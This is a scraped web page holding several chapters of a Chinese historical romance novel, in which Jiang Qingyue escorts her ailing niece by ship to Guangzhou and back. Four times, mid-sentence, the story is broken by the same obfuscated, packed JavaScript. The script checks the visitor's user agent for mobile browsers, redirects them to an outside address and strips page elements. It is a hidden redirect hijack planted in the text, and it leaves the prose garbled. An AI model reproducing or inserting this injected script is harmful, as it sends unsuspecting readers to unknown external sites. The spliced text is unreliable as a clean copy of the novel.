受了夸赞的花芸立刻喜上眉梢，扬着脸蛋跟在江清月身后，时不时打量一下过路人。 两人一前一后朝岸边走去，路边许多贩卖着新奇商货的小摊，玲珑灯、铜香炉，满满摆了一街。 香芸被解卦的小摊吸引去视线，兀自留下来算了一卦，江清月却对鬼神之事不感兴趣，便独自朝前走，欣赏起小玩意儿来。 琳琅满目的商品陈列眼前，江清月随手戴上一只精致雕刻的玉手环，看得忘我。 她低声自言自语道：“没想到这里竟然还有这样的手艺。” 江清月口中的“这里”，原是将现代的机械雕刻同古代相比，曾以为精美的玉雕只存在于皇家贵族家中，此番一见，情不自禁赞叹这样一个不起眼的市场竟有如此精湛的技术。 但话被旁人听去，似乎就变了个意思，还以为此人妄自尊大，言语之间尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047612|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是瞧不起登州的意思。 “陶尽门前土，屋上无片瓦。十指不沾泥，鳞鳞居大厦。膏粱子弟不懂陶土，还以为屋上的瓦片是自己长出来的。” 江清月一字一句全听了去，并不知其中的含义，她低着眼，慢慢挪动目光，只见对方穿着草鞋和粗布衣裳，以为是泥瓦匠来毛遂自荐的。 她有些不自在，假装不在意，朝旁边跨了一步，拿起其他物件，说道：“不是本地人，亦无修缮房屋的需求。” 江清月虽表现得专心致志，看起来像在鉴赏着手中不断翻转的玉雕，实则不动声色地打量身旁贸然搭话的人，余光谨慎地注意着他的一举一动。 一想到花芸之前曾说，这附近多有不安生者，江清月便心神不宁，再无心把玩玉雕，匆匆放下后便转身要走，对方却有意要拦她。 江清月想到自己还得按时回去，生怕时间耽搁在这里，本不想理会，对着两个铺面外的花芸大声说道：“花芸，舟师若不见我们，该找人来寻了。” 不料对方不依不饶，甚至反身一步走到她面前。 江清月把他当成了来找乐子的轻薄人，心中有些焦急，又不免气愤，皱起眉头，问道：“听闻登州民风淳朴，难道就是如此待人的么？” 那人既不恼也不羞愧，反而眉眼带笑，手臂轻抬起，指了指江清月的手腕处。 江清月咽了口唾沫，挽起袖子，摘下手镯放了回去。她一句话没说，几步来到摊位前，拉起花芸的手臂，快步离开了那街道。 花芸还一脸沉浸在高嫁的幻梦之中，恬笑着说道：“月姑娘，你也去瞧瞧，听说很可信呢！” 江清月心中想着刚才的事情，斜睨一眼那人所在的方向，喃喃道：“三言两语就能说清楚的事，便要装神弄鬼说不明白，我不觉得可信。” 花芸袖子里还攥着那支卦签，脸上有些不服气，“姑娘都没听过，怎知说不明白？大师说那人家中行商，还同船有关，你瞧，这不说得挺清楚的。” 江清月这才反应过来，她轻轻咳嗽两声，一声不吭，低着头、弓着背，快步朝船的方向走去。 “舟师，我们这边的人都上船了，若没别的事，不如早些起程。” “江姑娘，再等等，还有几个人没来。” “这船除了我们一家，还有别的客人么？” “船总的二儿子要下江南，近半月只有我们一艘客船，便临时安排到我们这来了。” “若是我不问，想必你们就瞒过去了。”江清月心里有些火气，“舟师，我们当初可是包船下行，若这里添几人，那里添几人，万一混上来个底细不明的，到时候怕是影响我们康显郡王府的风声。” “江姑娘，若是能拒绝，我们怎敢得罪贵府。对方是船总的二公子，青州整片码头都是博家的，若是拒载，今后我们的船还想走这过，可就难了。”舟师不是文人，但也学着作揖道：“我保证你们俩家直至到岸都不会见面，并免费给您上下货，包送到府，如何呢？江姑娘。” 江清月见对方如此说，也不好再说什么，点了点头，便回了厢房。 5. 遇见 “最近怎么这么倒霉，是不是该去庙里拜拜了。” 江青月拍了拍衣袖上的灰，深呼吸后才推门走进房内，木桌上摆满了各式各样的果脯和点心，小小地堆成山坡。想来珠儿按着给的钱买的，没算计这些人到底能吃多少。 自从靠岸后，船便稳当了些，朱潼心里好受许多，先前站也不能站，坐久了也疲软，此刻已然恢复了半成力气，正捏着一块大梅子果脯往嘴里塞。 “哦对，梅子干。”江清月这才想起正事，迟钝了几秒，又反应过来，点了点头，“还好珠儿知道要买这个。” 一旁扶着朱潼的珠儿看了看江清月，还以为自己做错了什么，嘴里喃喃道：“以前上街不都买这个么？” 朱潼拍了拍珠儿的手背，低声说：“没错，就是要这个。” 江清月随意坐了下来。虽已整理好情绪，但心中仍不自觉回忆着方才的糗事，神情便不自觉放空。 朱潼嚼着梅子干，喉咙一阵发紧，猛地咳嗽几声，后嘴里忽然觉得索然无味，本想问别人是否有同样滋味，抬眼一看，发现江清月正出神，问道：“姨母，可是出什么事儿了么？” “没有，只是舟师说这次靠岸要多载几人，顺路南下，方才想着这事。”江清月见朱潼一脸恐慌，知道她心系治病的事情，怕误会是不能南下，摆了摆手解释道：“同我们没什么关系，是来帮忙行船的，不碍事。” 离港的号角声吹起，丫鬟们整理了下桌面，几人坐定候着，船却迟迟没动静。 外头传来一阵喧嚣声，像是在争论什么，过了一会儿，只听见扑通一声，其他人便安静了下来。江清月推开窗户，舟师和几名舵手正一脸焦急，几人围站在岸头，低头盯着海面。 “这都要行船了，舟师怎么还在岸上？”她心里有些疑惑，又不便在房内讲出来，怕又引得朱潼想入非非，于是找了个借口跑到甲板上去瞧。 “发生什么事了？” 岸边的人指了指水面，口中像含了梅子似的，嘀咕着“这个、那个”的，江清月听个只言片语，似懂非懂，却又不好再问，只能顺着那人手指的方向看去，试图靠自己弄明白。 墨绿色水纹下有黑影窜动，像是铁锚，又像是水草在浮动。她不知自己在看些什么，却也跟着别人聚精会神注视着，到最后看得出了神，眼睛还盯着水面，心却飘到一旁。 水面时不时浮起几个水泡，起初是珍珠般大小，随后逐渐长大，逐渐长大，变成气球似的，不断翻滚着上升，推开一层层水波。 白色的水花中兀地冒出张人脸，江清月离得最近，自然被吓了一跳，连往后踉跄两步，后知后觉捂住自己的嘴，又装作并不曾失态般，直起身咳嗽了几声。 水中腾空变出个人来——日光将他的皮肤晒黑黑的，浸湿的衣衫下一双结实粗壮的手臂攀上船沿，手里还提着一根粗的、生了锈的铁链。他单手撑起身子，唰地一声翻到台面上来，熟练地拧起衣裳，水顺着衣角流下。 江清月仔细瞧着对方的脸，越看越熟悉，心里难免有些诧异，但全然当作不知，猛地转身回了房内。 “二老，你让我怎么说才好！怎么一不留神让你下水了，就算只是磕着碰着，我要把我们这船劈成两半了去，都弥补不了啊。” “周叔，你说这话就太见外了，我博烟渚打小在水里长大，皮糙肉厚的，搭把手而已，没什么大不了的。”博烟渚摆了摆手，“障碍我已经排除了，现在可以行船了。” “再怎么说，你都是客人，哪有让客人干活的道理，下次你可不许再这样了。” “知道了，知道了。”博烟渚接过干衣服，套在身上。 他一边擦着耳朵，一边望着船舱，打量道：“你那船里，可是这次要去应天府的客人？” “是啊，辽东康县郡王府的人，这次南下，人家可是包了整艘船呢。” “只是运几个人便包下整艘船，这花销可不少……对了，周叔，我们住哪儿？” “自然给你留了好地方，随我去吧。” 江清月很是不安地回到了自己的房间内，她早就认出方才水中的那男子是摊前拦住她的“泥瓦匠”，却不明白他会如此巧合地出现在她们的船上。 “莫非，他就是舟师口中一同行船的渔民？” 江清月懊悔先前没有问得更清楚些，但又想起舟师对她的保证，若真是互相见不着彼此，就这么安安稳稳到了目的地也不错。 紧接着几天，像是刻意回避什么似得，她鲜少出门，不是走动去朱潼屋内，就是待在自己房门，连船靠岸了都不再下去凑热闹。 她把这事很严肃地同朱潼讲了，朱潼却笑话她太正经。 “就算是那人又怎样，你至于为了他，连门都不敢出么？”随即又想起来另一件事，“所以那天的失态，真正原因是这事。” “若是在街上互相都不认识倒好，走了就走了。可他既上了着船，多少就能知道我们的身份，我不想在这种情况下被认出来。” “你瞧着他了，他没瞧见你？” 江清月摇了摇头，环顾四周说道：“对了，这几日怎么常常不见花芸？” 一旁年纪稍微大些的兰姑接话道：“花芸说打小生在府中，对海里一切都新奇，估计现在又趴在桅杆边偷懒，我去寻她回来。” “不用，现在没什么事儿做，让她看吧。”江清月同几人闲聊起来，“兰姑，我记得你有个姑娘远嫁在南方，可是我们会路过的地方？” 兰姑目光看向江清月背后，似乎穿过船板看见了远方的女儿，一时思念不已，又老实地搓了搓手，将情感压抑了下来，“名叫玉儿，两年前嫁给了一个绸缎庄的商人，就在应天府那头安了家，半年前来信说有了两个月份的身孕。” “半年前？如此算来，想必就是前后几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047613|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的事了。” “是啊，希望上天保佑，母子平安。” “兰姑，此番我们走湖淮过，你去应天府瞧瞧玉儿吧。” 兰姑有些惊讶，目光连忙收了回来，低着头，诚惶诚恐般说道：“月姑娘，我不是那个意思。” “这是做什么。”江清月连忙拉起她的手，“这事儿原本就是我提起的，我想阿姊也一定是知道情况，这才让你一同来的。” “月姑娘，您和郡王妃的好意，我一定记在心里，但这趟前去广州府，一切都是未知，尚有许多地方要重新布置，就算离开，心里也不能踏实。若四姑娘腿疾医治好了，我再去应天府也不迟。” “好，那便先在广州府安顿下来。” 另一旁，花芸果真在桅杆处徘徊，但心思并不在那海里，而是在这船上。 自从上次得了“大师”的启示，她便日日留心身旁的人——既同船有关，又能让她“高嫁”的，想必就是船总的二公子。 可船上这几个年轻人，穿着打扮都相类似，实在分不清谁才是她的真命天子，只好日日在这桅杆旁站着，希望对方能注意到她的存在。 花芸的目光常流连于其中二人身上：一人面如冠玉，气宇轩昂，看上去最是有派头；另一人眉眼秀丽，在人群中并不起眼，可只有他会迎向她的目光。 前一人为博烟渚，不似他纤弱的书生哥哥，自小便在海里长大，风里来雨里去，常常跟船下海，在湖淮一带走动，又凭着他那副热心肠，常行侠仗义，将自己名号扬了起来，甚至不输他那个登州船总的爹。 后一人也姓博，名为博义严，为人圆滑，八面玲珑，是登州博府连辈分都算不清的远亲，但由于他老母亲同博家老太太关系好，便也养在府里，同博府几兄弟一起长大。 这群人并非没注意到花芸，只是记着舟师的叮嘱，见了也当没见罢了。但私下也会相互谈起，见她常一条腿撑着，靠在围栏边，又穿着一身好料子，误以为她就是康县郡王府的小县主。 船停靠刘家港的前一夜，花芸本有些灰心，趁着四姑娘熟睡时走到甲板前透风，正巧遇见在此候了许久的博义严。 夜色朦胧下，仅有一盏微弱的蜡烛灯，从天南聊到地北，从日月聊到山川，可最重要的事——对方的底细，两人却都默契不谈。 炎热的海风吹得人头脑发胀，并不清晰，伴着朦胧的睡意，两人许下了心意。 花芸始终心系府中的老父老母，不愿不清楚不清地同这个陌生男人私奔，博义严想要凭借县主的地位一飞冲天，自然也不会莽撞地离开，于是便约定一年后的今日，由男方前往辽东康县郡王府上门提亲。 为了证明今夜确实存在，二人互换了信物，花芸得了一块带有博家族徽的吊坠，博义严则留下一块绣着牡丹的手帕。 在天空明起来之前，她们简单拉过彼此的手，匆匆告别了对方。 6. 到达 六月初八，暑气渐浓。 最先亮起来的，是离岸的那头，海面与天空交接的地方。橘黄色的光带掩于群山似的云层之上，深蓝色海域泛起淡淡的金光，像是一层一层的鱼鳞铺撒在水面上。 起初这光芒并不刺眼，也看不见阳光躲在何处，可没过多久，情势便明朗了，天空中兀自升起一颗咸鸭蛋似的太阳。 昨夜，江清月睡得并不安稳。 在这蒸笼似的船上，白日被艳阳足足晒五、六个时辰，慷慨地吸收了所有的热量，先前晚上还能好一些，可自从翻过登州以后，晚上也不见得凉快，依旧闷热潮湿。 她半夜总是迷迷糊糊地醒来，醒来时带着满身的汗，即使把被褥推至一旁，仅穿件单薄衣裳躺在床板上，面颊仍止不住地发热，口唇干燥不已。 于是她穿好衣裳，想去甲板上吹风解闷，刚推开房门，却看见那群人之一——长着一张秀气面孔的渔民正朝外走。江清月不愿在如此三更半夜同陌生人打照面，只好关了门，坐在敞开窗户边，半倚半睡，直到天亮。 稀薄的雾气蒸腾，远远看去，仿佛一道薄纱轻拂于海面之上。 今日便能到达刘家港，前往应天府的博烟渚等人会在那里停靠下船。 这些时日果真同舟师保证的那样，双方都恪守信用，严守着自己的界限，虽“同船渡”，但未“共枕眠”，甚至彼此都未打过照面。 直到那几人收拾好行李，在走廊站定时，江清月才从半掩的房门缝隙里见过几人。 离开家的朱潼最近恢复成活泼的性子，竟扒拉着门框，有些出格地探出头去，仔细瞧了瞧那群人，回头低声议论道：“听说有这里面有登州船总的二公子？哪一个是他呀？” 江清月斜睨一眼，以不经意的口气说道：“船总处处都有，有何稀奇的，管他做什么？” “船总处处有，可这二老不常有。”朱潼故作神秘说道： “这博家二老，大名博烟渚，传说是个人物呢——且不说他家的背景，单说他这个人，五岁时就能泅水捕鱼，十岁时赛过登州所有好手，十五岁跟随家族去淮上经商。如今一十九岁，貌若潘安、才比子建，不仅是登州，连京都的媒人都被惊动，据说快要踏平他们博家的门槛！” “这叫流言，越传越离谱的事情，你也信？” 江清月虽然并不全信，但心里也情不自禁想象起此人模样：白脸浓眉、眼神凄厉、五官硬朗、棱角分明。不知怎地，脑海里竟然出现严屹宽的面容。 “话又说回来，潼儿，咱俩天天待一块儿，你上哪儿知道这些的？” 朱潼立刻就出卖了同伙，指着花芸坦白道：“花芸告诉我的，她在走廊听见他们的对话了。” 花芸咬着下嘴唇，手足无措，下意识感到愧疚和担忧，但转头一想，觉得如此传奇的人物竟然已同自己定下婚约，心中便不自觉窃喜，却又不敢声张，只腼腆地低着头。 江清月点了点头，“果真是花芸，你要说是旁人我还不信。” 正低声交谈间，门外传来脚步声，似乎有人正靠近这里。 担忧自己对话被外人听见，原先还谈笑风生、开着玩笑的女子立刻谨慎了起来，端坐在木椅上。 来的人并不是博烟渚，也不是那群人的任意一个，兰姑推门走了进来。 只不过她的眼神有些飘忽，手里还捏着一封信，似乎对即将要说的话感到难为情。 江清月看着这位极老实的妇女，还以为她临时变了主意，想去应天府照顾她那即将临盆的亲闺女，她虽有些失落，但一想到这也是人之常情，还没等对方开口，江清月便点了点头。 “身上可有足够银两？” “有的，有的，这就不劳月姑娘费心了。” 江清月见她手里捏着信，还以为是告别书，却又不好意思递交给她们，于是一脸“我懂得”的安慰笑容，从兰姑手里拿走那封信。 “我收着了，放心吧兰姑。” 兰姑以为江清月明白她的言外之意，顿时眉眼舒展开，笑着说：“太好了，我之前还担心，怕您不高兴……” 江清月客气说道：“嗨，这有什么。” “玉儿不知道我们在广州府的住所，若是把这封信交给她，就能第一时间知道她是否平安……月姑娘，真是太感激你了。” 江清月有些疑惑，原以为这信是写给自己，同她们一行人辞别的，此时此刻才弄明白，原来是兰姑想要交给玉儿的家书。 弄清原委的江清月却想不明白了，不知兰姑怎么会羞于提出如此合理的请求，惊讶反问道：“这有什么？” 兰姑也有些懵，但还是本分回答道：“有我们在广州府的地址，还有一些寒暄，是不是哪里不妥？姑娘。” 江清月原本还因为不了解这些下人，对广州府之旅心怀忐忑之心，现如今得知兰姑竟是如此可靠之人后，终于松了一口气，说道：“兰姑，这种事情，你若觉得应该做，就无须请示我，知会一声就好了。不过——我既然知道了，那便会帮你负责到底。” 她装作很洒脱地走出房间门，心里却打起了鼓，本以为再也不用见到那群人，现在不得不放下自尊找他们帮忙。 “至少能见着那位传奇二老，不亏。”她如此安慰自己。 江清月理了理衣袖，将碎发别在耳后，大步走到那群人身边去。她一眼就看见那人，但却故意装作不认识，找了另一人搭话。 “你们主人在么？我同他有些事。” “主人？” 那几个魁梧的汉子听后哈哈大笑起来，他们相互递眼神、使脸色，江清月本不拘束，也变得窘迫起来。 博烟渚脸上也带着笑，他走到江清月跟前，问道：“你找谁？” “博家二老。” “找他做什么？” 江清月抬眼看着眼前的男人，又看了看他身后颇没有礼貌、戏弄自己的人，她本不想把这信交给他们，但又想起兰姑殷切的目光，只能硬着头皮说下去。 “我找他帮忙，把这封信交给应天府十里街一家姓李的丝绸庄户。” 江清月从袖子里掏出一只信封。 “送信这种事，这里任何一个兄弟都可以，为何偏要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047614|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找那博家二老？” “我信不过陌生人。” “那你可认得二老？” 江清月不假思索地点了点头，她仍在等待那传奇人物的到来，可船已然靠岸，并未有貌似严屹宽的人出现。 若不是事出突然，江清月大可找到驿站或是镖局来送这份信，还能不是体面地捎带几张钱票作为主人家的心意，但她如今只能委托给毫不知底细的渔民，若是将钱财夹带在信封里，则会冒着钱物两空的危险，事后连人都不一定能找着。 心想此信原本并不贵重，若是多给些费用，便能办好此事。 “一钱银子作为定金，剩下四钱我会交给舟师，送达后，你自向他去取便是。” “顺手的事，不用钱。” “不行，你若不收下我便不能给你。” 江清月原是觉得天下没有白给的事，像占了谁的便宜似的，她不能心安。可话说出来是一回事，博烟渚听了去，却又理解成另一含义，于是顿了顿，一并收下那一钱银子，“一钱就够了，不必再给舟师那四钱，多的我不收。” 说罢，博烟渚领着众人下了船。 回到房间内，江清月头件事就是去“质问”花芸，她口中的传奇博家二老究竟在何处，为何自己等了许久都未见着。 “月姑娘，当真是有这样的人物，花芸何苦骗你。” 花芸百口莫辩，甚至差点儿掏出内兜里那块带有“博”字的玉佩自证，却又忌惮江清月反对这门亲事，把她的好梦打破了去，只能连连反驳道：“我亲眼见着了，就在一群人当中！” 江清月背后冒出一丝凉意，心中有个不好的猜想，她咽了咽唾沫，试探问道：“不会是鼻梁很高、笑起来脸上有酒窝的那个人吧？” “酒窝？” “就是靥，笑靥。” 花芸摸着下巴仔细回忆着昨晚的经历，想起他们说的玩笑事，忍不住噗嗤一声笑了出来。 江清月却很着急，忙问道：“你笑什么？他到底是有还是没有呀？” “没有，我很确定。”花芸想了想补充道：“而且鼻梁似乎也不是很高。” 江清月想起昨晚碰见的那个男子，“是不是那群人之中脸最白的，眉眼比较秀气的那个人？我昨夜似乎看见他了。” 花芸立即紧张了起来，“这么晚了，月姑娘怎么会碰见他？” “昨晚热得睡不着觉，本想起来透透风的，因为碰见他便没出去。” 朱潼在一旁插话道：“没错，没错，最近真是热起来了，这南边的天气就是不同寻常，还没到小暑，却已经比家里的盛夏还要炎热了。” 江清月点了点头，说道：“是啊，真不知道广州府那边的天气如何。” 珠儿和灵玲也纷纷谈起这几日的气候，花芸却意犹未尽，还想听她们多谈谈自己那“未婚夫”，又刻意把话带回二老身上。 江清月却一反常态，想要终结这话题。 “好了，再也不想这件事了。”她朝码头的方向挥了挥手，心情大好，“管他博家二老是谁，总之，今后都不会再见面了。” 7. 变故 入伏后的气候更是潮湿闷热不已，船员们不得不避开日头晒得最烈的那段时辰，改在夜间行船，却又因为视线受阻，历经波折。一直到小暑又几日，江清月一行人才至广州府境内。 白日，她们坐在靠西的厢房内，摇着蒲扇躲阴凉。入夜宽衣解带，一个个干瞪着眼，隔着一层薄被躺在地上，将四周洒上水，试图寻找一些阴凉。 为了熬过漫漫长夜，干脆所有人都去了朱潼的厢房，实在睡不着时，就互相聊天解闷。 珠儿半夜起身给朱潼擦汗，忍不住感叹道：“我怎么觉得，这天热得有些不真实呢。” 灵玲在一旁无声点了点头。 所有人心里都打起退堂鼓，可朱潼心里还有些期待，劝慰道：“好像也没有那么热，还能忍受。” 珠儿看着手里被汗浸湿的手帕，耸了耸肩。 江清月在黑暗中眨着眼睛，低声思索道：“海水比热容大，吸收太阳光，温度变化小，按理来说应要比陆地更凉快才是，如果连这里都闷热不已，广州府岂不是……” 朱潼撑起身，问道：“姨母，你说什么？” 江清月摇了摇头，“或许是因为这船的缘故，单层顶板，拱形结构，将吸收的热量都聚集在船舱内，散不出去，所以才会如此闷热。” “木板船遮不住热，全都透进来了！”朱潼环顾四周，打气似地说道：“等我们到了广州府的砖瓦屋内，一切就会好了。” 船入港口时恰逢黎明时，天气还不算得太炎热。舟师信守承诺，将这一大群人的物资和行李全运送到她们的府宅里去，这也算为她们省了不少事，只需雇辆马车便能抵达目的地。 府邸买在远离闹市的僻静区，小巧别致，前后约十余间房，东南有一角门，虽不如郡王府那般富丽堂皇，但麻雀虽小，五脏俱全，用来养病是再好不过的了。 到广州府的头一件事，江清月带着两个侍卫先去了钱庄。之前江氏不放心她们身上带着过多钱财，便委托镖局送至当地的钱庄内，再将附票交给她，如此一来不仅规避了不少危险，也不会担心到了地儿没钱花。 江清月从钱庄取了五百两银子，从中取出五十两装进一小布口袋中，剩下的分成大小不一的四份，一份交给家丁保管，一份交给兰姑，一份换成碎银拿给朱潼，最后一份她自己带在身上。 随后，江清月径直去了镖局。她手里捏着两封信，一封寄给远在辽东的江氏，另一份里装入五十两银子，寄去应天府。 做完所有事情后，天已经大亮，气温也升了上来，任何没有荫蔽、受太阳直晒的地面似乎都有热浪翻起，在日头下站一会儿，别说是人，连畜生都受不住，紧着朝树下钻。 江清月从集市穿行而过，本想捎带几份冰酪回去，可当地人似乎并不认识这种东西，甚至难以想象状如石块一样的“水”，以为这个外地来的人在打诳语。 “想必广州府冬天也不至零下，既无雪亦无冰霜，普通百姓自然没听说过冰酪，更不提亲口品尝过。” 正惆怅间，她转头看见街上叫卖的椰子摊。江清月猛地想起，上次见如此完整形态的椰子似乎还是在上辈子，甚至都有些忘记椰汁的味道了。 作为冰酪的替代，她算着人头，定了八只椰子让摊主送去府上。这种水果在辽东并不常见，也很难吃到新鲜的，既然一路坎坷来了广州府，那便要给她们尝试些从前没吃过的当地特色。 当江清月回到府上时，城里的老大夫刚好上门，给朱潼看病来了。 他留着长长的胡须，大部分头发已灰白，一双机灵的小眼睛转呀转，搭把手的功夫，便看出了朱潼的病症。 “是江姑娘吧，借一步说话。” 若是好事，大夫们必然会当着当事人讲，如若不然，就会像此刻一样，要同主事者“借一步说”。 江清月看着有些紧张的朱潼，连吩咐人把椰子抬了上来，小女孩果然被这新奇物品吸引了去，不再注意门外的大人。 “大夫，您直说吧。” “先前我收到康县郡王妃来信时，以为四小姐只是患了腿部风湿，想着外敷、行针再加服药，把寒气、淤血逼出来，或许能有回转余地。可如今一看，哎，已成残疾了。” “如若不求能恢复成常人般，只求能缓解痛楚，或是减缓恶化，可行得通？” 老大夫欲言又止，摇了摇头，“不过，只要静养，倒也不会加剧了。” 江清月轻轻带上房门，她神色凝重，在走廊踱来踱去，仍不死心，又问道：“她的腿每到阴雨寒湿时节便会僵直疼痛不已，广州府的气候要比我们家乡暖和些，或许……” “姑娘，老夫曾在太医院当过几年吏目，跟那边比起来，广州府何止是‘暖和’？恕我直言，四小姐体虚，并不适宜在如此炎热的地方长住。” “老先生，我知道了。” 老大夫的木箱原封不动，一直到离开这座府邸，始终未曾打开过。江清月将客人送到大门，再折返回来，听见远处欢声笑语不断，渐渐走近，却不愿走进那房门。 她故作镇定，加入了众人的玩闹中去，心里烦闷不已，却又不想破坏气氛，只得强颜欢笑，将脸别了过去。 待场面冷下来，人们纷纷离开，房内只剩下二人时，江清月本想委婉告诉朱潼事实，不料却被她先一步问道： “姨母，大夫同你说了些什么？是不是说我的腿能好了？” 朱潼热得红红彤彤的，不停用扇子扇风，又拉起裙摆，把腿伸向有阳光的地方。烈日灼烧着白如墙腻子的肌肤，她却乐此不疲。 江清月坐在她身边，轻抚着她的头发，几度想开口，却在看向她泛起希望的眼眸时，将情绪同话一起咽了下去。 “大夫开了几副药，说是可以调理体质。” “太好了，劳烦姨母同我南下，幸好不是白费。”朱潼揉了揉膝盖，看着因不常打理而稍显空旷的院子，心里却丝毫不怀念在郡王府的日子，“这里虽不及在家那般优待，但却能感受到生活的滋味，要是母亲能在身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047615|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边，我便什么都不求了。” “过段时间，我回盖州卫替你母亲去，让她下来同你团圆。” “我要姨母和母亲都在身边。”朱潼忿忿道：“况且咱们又不是同爹爹签了什么什么契，非得留下一人给郡王府管事么？” “瞧你说的，我自然是同你开玩笑，怎么还当真了。”江清月笑着说道：“就算你娘要退下来，康县郡王府还有大郎媳妇和李善俪母女在，我姓江，又不姓朱。” “姨母同我们一起长大，这么些年，早就把你当自家人了。” “闲得自在时当自家人，若真有什么事，断然分割的清清楚楚，你家那群人个个都是热脸冷心，他们算计的不仅是钱财，还有人心。” “既然如此，那就找个借口，不回去了。” 江清月用手帕擦着额上的汗，叹了口气，说道：“但这广州府的气候太过炎热，不知是今日反常，还是一直如此。” “我巴不得再热些，把骨头里的寒气都给逼出来，说不定就能好了！” 当晚，朱潼发起高烧，将白天里吃的东西吐了一地。 汗水浸湿全身的衣裳，整个人像是从水里拎起来似的。 半夜三更时，原本医馆全都闭了门，江清月只能带着两个家丁拉下脸挨个敲医馆的大门，好在年轻的大夫半夜觉浅，亦未眠，听见声响便随家丁去了府里。 那年轻的大夫叽里呱啦说了一大通话，可江清月听不懂他们的方言，只能请求对方说官话。 “我是问，这样的症状持续多久了？白日可做过什么体力活？你们既然是外地人，是打哪儿来的？” 江清月一一回应道：“用晚膳那会儿都还好好的，白日都是马车出行，连路都没走几步，我们是辽东来的，这有什么关联么？” “近来有好些个外地人不适应这边的湿热气候，像是伤风挟热的症状。” 江清月想起下午时，恐怕是朱潼晒多了太阳。 “伤风挟热？是指中暑还是热伤风？” “我不清楚你们那边的说法，总之，她的情况还要比我见过的其他人还厉害些，若有条件的话，最好能暂时迁居到凉快点的地方，若是服药三日不能降温，情况就会很危险。” 江清月的心被揪起，当即就让下人收拾，作离开的准备。 “备辆马车，不，去找北上的船，我们即刻返航。” 朱潼迷迷糊糊听见他们的对话，强撑着身体，沙哑地说道：“不能走，不能，姨母，我的腿快好了，能忍受。” 若是知道未来发生的事，江清月断然不会允许自己说这样的话。可当下她只是着急，又心烦意乱，忍不住将火气撒在了朱潼身上。 她粗声道：“难道要为了保住腿，非要丢命么？” 朱潼的泪水和汗水混在一起，分不出差别，她几乎是哀求地说：“再一日，再一日就好。” 江清月动摇了，心想着一日也没有什么大不了。 “明晚，我绑也要把你绑上船。” 8. 变数 原本定于太阳落山后即刻出行，朱潼却几度晕厥，失去意识，江清月立刻吩咐下人即刻启程，走时还将那名年轻的石大夫捎带上船，以免途中多生意外。 此次返程，江清月刻意挑选了一艘双层顶篷的航海船，中空的夹层能够隔绝多数太阳光热量，不至于同来时那般闷热。 其余人的炎暑症状多有缓解，可朱潼并没因为温度的下降而恢复如初，她在大多时间都处于神智不清的状态，偶有醒来的时候，可几乎都在咳嗽、呕吐，虚弱不堪。 “夜里盗汗，肢体乏力，咳痰呈黄绿状脓痰，痰中带有血丝，呼吸困难。”石大夫说道：“恐是肺痨。” “你不是说她只是热伤风，为何又成肺痨了？” “从体征上看，四姑娘应已感染痨虫久已，正气不足，体质虚弱，又外感风热之邪，两病相交，所以才会如此凶险。” 江清月回忆着船上的各种情景，记忆中似乎朱潼却有几声咳嗽，但并不严重，以为她是晕船不适应，“难道从那时起，就已经感染了痨虫？可为何我们却不曾有事？” 花芸听后忍不住咳嗽了几声，接着其他几人也顿时自觉喉咙发紧，但却为心理作用。 “并不是接触就会传染上，体质弱的人更易感而已。”石大夫从包袱里翻出药箱，开始配药，“不过还是需要同病人保持距离，我携带的药物只能勉强供一人服用。” 下人们对了对眼色，纷纷主动“请缨”照顾朱潼，江清月环顾着众人，虽然个个都说得愿意，心里却多少有些私心。她思考片刻后说道：“兰姑年纪大些，要统筹处理所有事务，不适合照顾潼姐儿。” “花芸身子最是娇气，还没照顾好病人，自己先倒下了。” “灵玲身子虽然结实，可做事容易毛手毛脚，不够细致，到时候你们二人，同阿康阿福一起，就跟着兰姑，她让你们做什么，你们便做什么。” 江清月对着珠儿说道：“在所有之中，珠儿是最让我放心的，当然，我不会让你白白受罪——每单独伺候四姑娘一日，我多给你二两银子，不满十日都按十日计算，上不封顶。” “月姑娘，珠儿本就是郡王府的丫鬟，伺候四姑娘是我分内之事，万不敢收多的。” 